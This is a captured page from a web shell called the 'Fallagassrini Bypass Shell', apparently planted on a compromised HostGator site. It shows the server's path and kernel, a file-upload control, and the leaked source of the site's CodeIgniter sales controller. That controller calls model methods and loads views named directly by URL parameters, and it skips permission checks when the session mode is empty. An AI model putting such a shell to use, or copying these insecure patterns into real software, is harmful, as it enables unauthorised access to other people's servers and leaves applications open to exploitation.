? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sgms/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sgms/application/controllers/sales.php

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Sales extends MY_Controller
{

    function  __construct()
    {
            parent::__construct();
            $this->load->library('Fpaginate');
            $this->load->model('mastermodel');
            $this->load->model('salesmodel');
    }

    function get_post_values()
    {
        $data = array();
        foreach ($_POST as $key => $value)
        {
            if($key != "submit")
            {
                $data[$key] =  $this->input->post($key);
            }
        }
        return $data;
    }

    function addformdisplay($page,$directory,$table="",$pagenum="")
    {
        $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['sgms_userid'],1);
        if(!$perm)
        {    $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $this->load->view(''.$directory.'/'.$page.'');
        }
    }


    function deletedata($table,$id,$field)
    {
        $data=array();
        $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['sgms_userid'],3);
        if(!$perm)
        {    $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $data=$this->mastermodel->deletedata($table,$id,$field);
            $data['msg']=$data['msg'];
            if($data['res']==1)
            {
                $this->load->view('message',$data);
            }
            else
            {
                $this->load->view('message',$data);
            }
        }
    }


    
    function checkexistence($table,$field,$value)
    {
        if($this->mastermodel->checkexistence($table,$field,$value)>0)
        {
            echo 1;
        }
    }


    function checkexistencearray($table,$field,$value)
    {
      if($this->mastermodel->checkexistencearray($table,$field,$value)>0)
        {
            echo 1;
        }
    }


    function addinsales($modelfunction,$page)
    {
        $postdata=$this->get_post_values();
        $data=$this->salesmodel->$modelfunction($postdata);
        $data['msg']=$data['msg'];
        if($data['res']=="password")
        {
            $this->load->view('message',$data);
        }
        else if($data['res']==1)
        {

            $this->viewinsalessearch($data['resfunction'],$page,$_SESSION['pagenum']);
            $this->load->view('message',$data);

        }
        else
        {   $this->viewinsalessearch($data['resfunction'],$page,$_SESSION['pagenum']);
            $this->load->view('message',$data);
        }

    }


    function viewinsalessearch($modelfunction,$page,$pagenum)
    {
       /*<---------------- For pagination purpose------------>*/
        $perpage= $this->config->item('perpage');
        $_SESSION['pagenum']=$pagenum;
        $data['pagenum']=$pagenum;
        if($pagenum==1)
        {
            $data['id']=1;
        }
        else
        {
            $data['id']= (($pagenum-1)*$perpage)+1;

        }

        if(isset($_POST['tab_name']))
        {
            $postdata ="";
        }
        else
        {
            $postdata=$this->get_post_values();
        }

        if(!empty ($postdata))
            $_SESSION['searchdata']=$postdata;
        else if(!isset($_SESSION['searchdata']))
             $_SESSION['searchdata']="";
      
        /*<---------------- For pagination purpose------------>         */
        
        $output=$this->salesmodel->$modelfunction($pagenum);
        $data['startpage']=$output['startpage'];
        $data['endpage']=$output['endpage'];
        $data['viewinfo']=$output['results'];
        $this->load->view('Sales/'.$page.'',$data);
    }


    function edit_page($id,$table,$field,$page)
    {
        if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['sgms_userid'],2);
        }
        else
        {
            $perm=1;
        }
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
             $data['viewinfo']=$this->mastermodel->get_data_srow($table,$id,$field);
             $data['id']=$id;
             $this->load->view('Sales/'.$page,$data);
        }
    }

    function single_page($id,$table,$field,$page,$alert_id='')
    {
        if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['sgms_userid'],0);
        }
        else
        {
            $perm=1;
        }
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
             $data['viewinfo']=$this->mastermodel->get_data_srow($table,$id,$field);
             $data['id']=$id;
             $data['alert_id']=$alert_id;
             $this->load->view('Sales/'.$page,$data);
        }
    }
    
    

    
   

   
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net